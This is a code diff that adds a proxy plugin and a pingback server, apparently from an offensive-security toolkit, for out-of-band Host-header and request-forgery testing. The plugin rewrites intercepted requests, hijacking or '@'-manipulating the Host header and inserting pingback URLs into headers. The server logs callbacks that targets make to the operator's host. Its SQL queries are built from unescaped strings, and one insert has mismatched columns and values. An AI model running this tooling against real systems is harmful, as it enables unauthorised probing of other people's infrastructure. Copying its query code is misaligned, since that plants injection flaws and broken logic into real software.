+        requestData+= 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\r\n'
+        requestData+= 'Accept: */*\r\n'
+        requestData+= 'Connection: close\r\n'
+
+        self.saveRequestForCorrelation(self.request, pingback, uuid, 'Overridden Host header ({} -> GET /{} )'.format(self.request.headers['Host'], pingback))
+        ProxyHandler.sendRawRequest(self.request, requestData, self.proxyOptions, self.logger)
+        self.logger.dbg('(2) Re-sending host overriding request ({} -> {})'.format(self.request.path, pingback))
+
+    def hostAtManipulation(self):
+        (pingback, uuid) = ProxyHandler.getPingbackUrl(self.request)
+        url = urljoin(self.request.scheme + '://', self.request.headers['Host'], self.request.path)
+        parsed = urlparse(pingback)
+
+        requestData = 'GET {} HTTP/1.1\r\n'.format(pingback)
+        requestData+= 'Host: {}@{}\r\n'.format(self.request.headers['Host'], parsed.netloc)
+        requestData+= 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\r\n'
+        requestData+= 'Accept: */*\r\n'
+        requestData+= 'Connection: close\r\n'
+
+        self.saveRequestForCorrelation(self.request, pingback, uuid, 'Host header manipulation ({} -> {}@{})'.format(self.request.headers['Host'], self.request.headers['Host'], parsed.netloc))
+        ProxyHandler.sendRawRequest(self.request, requestData, self.proxyOptions, self.logger)
+        self.logger.dbg('(3) Re-sending host header @ manipulated request ({} -> {}@{})'.format(self.request.headers['Host'], self.request.headers['Host'], parsed.netloc))
+
+    def sendMisroutedRequests(self):
+        (pingback, uuid) = ProxyHandler.getPingbackUrl(self.request)
+        url = urljoin(self.request.scheme + '://', self.request.headers['Host'], self.request.path)
+        url = url.replace(':///', "://")
+        parsed = urlparse(pingback)
+
+        self.saveRequestForCorrelation(self.request, pingback, uuid, 'Hijacked Host header ({} -> {})'.format(self.request.headers['Host'], parsed.netloc))
+        self.logger.dbg('ok(1) Re-sending misrouted request with hijacked Host header ({} -> {})'.format(self.request.headers['Host'], parsed.netloc))
+
+        try:
+            self.logger.dbg('GET {}'.format(url))
+            requests.get(url, headers = {'Host' : parsed.netloc})
+        except Exception as e:
+            self.logger.err('Could not issue request to ({}): {}'.format(url, str(e)))
+            if self.proxyOptions['debug']:
+                raise
+
+        self.hostOverriding()
+        self.hostAtManipulation()
+
+    @memoize
+    def checkIfAlreadyManipulated(self, host):
+        query = 'SELECT desthost FROM {}.requests WHERE desthost = "{}"'.format(config['mysql-database'], host)
+
+        rows = self.executeSql(query)
+        if rows == False: return rows
+        for row in rows:
+            if self.request.headers['Host'] in row['desthost']:
+                self.logger.dbg('Host ({}) already was lured for pingback.'.format(row['desthost']))
+                return True
+        
+        self.logger.dbg('Host ({}) was not yet lured for pingback.'.format(self.request.headers['Host']))
+        return False
+
+    def request_handler(self, req, req_body):
+        global visited_hosts
+        self.request = req
+        self.requestBody = req_body
+
+        self.request.scheme = self.request.path.split(':')[0].upper()
+
+        allowed_letters = string.ascii_lowercase + string.digits + '-_.'
+        host = filter(lambda x: x in allowed_letters, self.request.headers['Host'])
+
+        if (host not in visited_hosts) and (not self.checkIfAlreadyManipulated(host)):
+            add_host_lock.acquire()
+            visited_hosts.add(host)
+            add_host_lock.release()
+
+            for header in append_headers:   
+                (pingback, uuid) = ProxyHandler.getPingbackUrl(self.request)
+                self.request.headers[header] = pingback
+                self.saveRequestForCorrelation(pingback, header, uuid, 'Header: {}'.format(header))
+
+            self.sendMisroutedRequests()
+            self.logger.info('Injected pingbacks for host ({}).'.format(host), forced = True)
+
+
+        return self.requestBody
+
+    def response_handler(self, req, req_body, res, res_body):
+        pass
+    

web/py-collaborator/py-collaborator-server.py

@@ -0,0 +1,341 @@
+#!/usr/bin/python3
+
+from http.server import BaseHTTPRequestHandler,HTTPServer
+import urllib
+import re
+import sys
+import ssl
+import json
+import string
+import random
+import socket
+import pymysql
+import argparse
+import datetime
+import threading
+
+from Database import Database
+from Logger import *
+
+VERSION = '0.1'
+
+#
+# CONFIGURE THE BELOW VARIABLES
+#
+
+# Must point to JSON file containing configuration mentioned in `config` dictionary below.
+# One can either supply that configuration file, or let the below variable empty and fill the `config`
+# dictionary instead.
+CONFIGURATION_FILE = 'config.json'
+
+config = {
+    'debug' : '',
+    'listen' : '0.0.0.0',
+    'pingback-host': '',
+    'server-remote-addr': '',
+    'listen-on-ports' : (80, 443, 8080),
+
+    # You can generate it using Let's Encrypt wildcard certificate.
+    'server-ca-cert' : '',
+    "server-key-file": '',
+    
+    'mysql-host': '',
+    'mysql-user': '',
+    'mysql-pass': '',
+    'mysql-database': '',
+
+    'exclude-pingbacks-from-clients' : [],
+}
+
+databaseInstance = None
+
+def generateRandomId():
+    randomized = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(50))
+    return "xxx" + randomized + "yyy"
+
+class PingbackServer(BaseHTTPRequestHandler):    
+    method = ''
+
+    def __init__(self, *args, **kwargs):
+        self.server_version = 'nginx'
+        try:
+            BaseHTTPRequestHandler.__init__(self, *args, **kwargs)
+        except Exception as e:
+            if config['debug']:
+                Logger.dbg('Failure along __init__ of BaseHTTPRequestHandler: {}'.format(str(e)))
+                raise
+
+        Logger.info('Previously catched pingbacks:\n--------------------------\n')
+        self.presentAtStart()
+
+    def presentAtStart(self):
+        rows = databaseInstance.query(f'SELECT * FROM calledbacks')
+        if not rows:
+            return
+        for row in rows:
+            request = databaseInstance.query(f"SELECT * FROM requests WHERE id = {row['requestid']}")
+            Logger.info(row['request'])
+
+    def log_message(self, format, *args):
+        return
+
+    def extractUuid(self):
+        uuidRex = re.compile(r'(\bxxx[a-z0-9]{50}yyy\b)', re.I|re.M)
+        
+        if 'xxx' in self.path and 'yyy' in self.path:
+            # Request path
+            m = uuidRex.search(self.path)
+            if m: 
+                return ('URL path', m.group(1))
+
+        # Request headers
+        for h in self.headers:
+            value = self.headers[h]
+            if ('xxx' not in value or 'yyy' not in value): 
+                continue
+            m = uuidRex.search(value)
+            if m: 
+                return (f'Header: {h}', m.group(1))
+
+        return ('', '')
+
+    def presentPingbackedRequest(self, where, uuid, record):
+        fmt = '%Y-%m-%d %H:%M:%S'
+        now = datetime.datetime.utcnow().strftime(fmt)
+        delay = str(datetime.datetime.utcnow() - datetime.datetime.strptime(record['sent'], fmt))
+        req = '\r\n'.join([f'\t{x}' for x in record['request'].split('\r\n')])
+        req2 = '\r\n'.join([f'\t{x}' for x in PingbackServer.requestToString(self).split('\r\n')])
+        try:
+            reverse = socket.gethostbyaddr(self.client_address[0])[0]
+        except:
+            reverse = self.client_address[0]
+        message = f'''
+
+-------------------------------------------------------------------------------------
+Issue:                  Pingback {record['id']} ({self.command} {self.path} ) found in request's {where}
+Where payload was put:  {record['whereput']}
+Contacting host:        {reverse}
+Tried to reach vhost:   {self.headers['Host']}:{self.server.server_port}
+
+Issue detail:
+    Our pingback-server was contacted by ({self.client_address[0]}:{self.client_address[1]}) after a delay of ({delay}):
+
+    Original request where this pingback was inserted:
+    ---
+    {req}
+
+
+    Request that was sent to us in return:
+    ---
+    {req2}
+
+The payload was sent at ({record['sent']}) and received on ({now}).
+-------------------------------------------------------------------------------------
+
+
+'''
+
+        Logger._out(message)
+        return message
+
+
+    def savePingback(self, requestid, message):
+        query = 'INSERT INTO calledbacks(id, requestid, uuid, whereput) VALUES(%d, %d, "%s")' % (\
+            0,  requestid, message)
+        Logger.dbg(f'Saving pingback: (requestid={str(requestid)})')
+        Logger.dbg(query)
+        databaseInstance.insert(query)
+
+    def checkUuid(self, where, uuid):
+        if not (uuid.startswith('xxx') and uuid.endswith('yyy')):
+            return 
+
+        for a in uuid:
+            if a not in string.ascii_lowercase + string.digits:
+                return
+
+        out = databaseInstance.query(f'SELECT * FROM requests WHERE uuid = "{uuid}"')
+        if out:
+            message = self.presentPingbackedRequest(where, uuid, out[0])
+            self.savePingback(out[0]['id'], message)
+
+    def send_header(self, name, value):
+        if name == 'Server':
+            return super(PingbackServer, self).send_header(name, 'nginx')
+        return super(PingbackServer, self).send_header(name, value)
+
+    def _set_response(self):
+        self.send_response(200)
+        self.send_header('Content-type', 'text/html')
+        self.end_headers()
+
+    @staticmethod
+    def requestToString(request):
+        headers = '\r\n'.join(['{}: {}'.format(k, v) for k, v in request.headers.items()])
+        out = '{} {} {}\r\n{}'.format(request.command, request.path, request.request_version, headers)
+        return out
+
+    def do_GET(self):
+        if not (self.client_address[0] in config['exclude-pingbacks-from-clients']):
+            if config['debug']:
+                Logger.dbg('Incoming HTTP request from {}: {} {}'.format(
+                    self.client_address[0],
+                    self.method,
+                    self.path[:25]
+                ))
+
+            (where, uuid) = PingbackServer.extractUuid(self)
+            if uuid:
+                self.checkUuid(where, uuid)
+        else:
+            Logger.dbg('Skipping Client ({}) as it was excluded in config file.'.format(self.client_address[0]))
+
+        self._set_response()
+        self.wfile.write(b'Ok')
+
+    do_POST = do_GET
+    do_DELETE = do_GET
+    do_PUT = do_GET
+    do_OPTIONS = do_GET
+    do_HEAD = do_GET
+    do_TRACE = do_GET
+    do_CONNECT = do_GET
+    do_PATCH = do_GET
+
+
+def parseOptions(argv):
+    global config
+
+    print('''
+        :: Cracking the Lens pingback responding server
+        Responds to every Out-of-band request correlating them along the way
+        Mariusz B. / mgeeky '16-18, <mb@binary-offensive.com>
+''')
+
+    parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <file>')
+
+    parser.add_argument('-l', '--listen', default='0.0.0.0', help = 'Specifies interface address to bind the HTTP server on / listen on. Default: 0.0.0.0 (all interfaces)')
+    parser.add_argument('-p', '--port', metavar='PORT', default='80', type=int, help='Specifies the port to listen on. Default: 80')
+    parser.add_argument('-r', '--rhost', metavar='HOST', default=config['server-remote-addr'], help='Specifies attackers host address where the victim\'s XML parser should refer while fetching external entities')
+
+    parser.add_argument('--mysql-host', metavar='MYSQLHOST', default='127.0.0.1', type=str, help='Specifies the MySQL hostname. Defalut: 127.0.0.1:3306')
+    parser.add_argument('--mysql-user', metavar='MYSQLUSER', default='root', type=str, help='Specifies the MySQL user, that will be able to create database, tables, select/insert records and so on. Default: root')
+    parser.add_argument('--mysql-pass', metavar='MYSQLPASS', type=str, help='Specifies the MySQL password')
+
+    parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
+
+    args = parser.parse_args()
+
+    config['debug'] = args.debug
+    config['listen'] = args.listen
+    config['port'] = int(args.port)
+    config['server-remote-addr'] = args.rhost
+
+    port = int(args.port)
+    if port < 1 or port > 65535:
+        Logger.err("Invalid port number. Must be in <1, 65535>")
+        sys.exit(-1)
+
+    try:
+        if not args.mysql_host or not args.mysql_port or not args.mysql_user or not args.mysql_pass:
+            Logger.warn("You shall specify all needed MySQL connection data either via program options or config file.")
+            #sys.exit(-1)
+        else:
+            config['mysql-host'] = args.mysql_host
+            config['mysql-user'] = args.mysql_user
+            config['mysql-pass'] = args.mysql_pass
+    except:
+        Logger.warn("You shall specify all needed MySQL connection data either via program options or config file.")
+
+    return args
+
+def connectToDatabase():
+    global databaseInstance
+
+    databaseInstance = Database()
+    return databaseInstance.connection(config['mysql-host'], config['mysql-user'], config['mysql-pass'])
+
+def initDatabase():
+    initQueries = (
+        f"CREATE DATABASE IF NOT EXISTS {config['mysql-database']}",
+        f'''CREATE TABLE IF NOT EXISTS {config['mysql-database']}.requests (
+    id integer AUTO_INCREMENT,
+    sent text NOT NULL,
+    uuid text NOT NULL,
+    desthost text NOT NULL,
+    pingback text NOT NULL,
+    whereput text NOT NULL,
+    request text NOT NULL,
+    PRIMARY KEY (id)) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;''',
+        f'''CREATE TABLE IF NOT EXISTS {config['mysql-database']}.calledbacks (
+    id integer AUTO_INCREMENT,
+    requestid integer NOT NULL,
+    request text NOT NULL,
+    PRIMARY KEY (id),
+    FOREIGN KEY(requestid) REFERENCES requests(id)) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;''',
+    )
+
+    for query in initQueries:
+        databaseInstance.query(query)
+
+    databaseInstance.databaseConnection.select_db(config['mysql-database'])
+    Logger.ok('Database initialized.')
+
+def fetchRhost():
+    global config
+    config['server-remote-addr'] = socket.gethostbyname(socket.gethostname())
+
+def main(argv):
+    global config
+
+    fetchRhost()
+
+    opts = parseOptions(argv)
+    if not opts:
+        Logger.err('Options parsing failed.')
+        return False
+
+    if CONFIGURATION_FILE:
+        config.update(json.loads(open(CONFIGURATION_FILE).read()))
+
+    if not connectToDatabase():
+        sys.exit(-1)
+
+    initDatabase()
+
+    Logger.dbg('Local host\'s IP address (RHOST) set to: {}'.format(config['server-remote-addr']))
+
+    for port in config['listen-on-ports']:
+        try:
+            server = HTTPServer((config['listen'], port), PingbackServer)
+            server.server_version = 'nginx'
+        except OSError as e:
+            Logger.err(f'Could not server on port {port}: {str(e)}')
+            Logger.warn('Skipping...')
+            continue
+            #return
+
+        if port == 443:
+            try:
+                server.socket = ssl.wrap_socket(server.socket, keyfile = config['server-key-file'], certfile = config['server-ca-cert'], server_side = True)
+            except ssl.SSLError as e:
+                Logger.warn(f'Could not serve HTTPS due to SSL error: {str(e)}')
+                Logger.warn('Skipping...')
+                continue
+
+        thread = threading.Thread(target=server.serve_forever)
+        thread.daemon = True
+        thread.start()
+        Logger.ok('Serving HTTP server on: ("{}", {})'.format(
+            config['listen'], port)
+        )
+
+    try:
+        Logger.info('Entering infinite serving loop.')
+        while True:
+            pass
+    except KeyboardInterrupt:
+        pass
+
+if __name__ == '__main__':
+    main(sys.argv)

web/py-collaborator/requirements.txt

@@ -0,0 +1 @@
+pymysql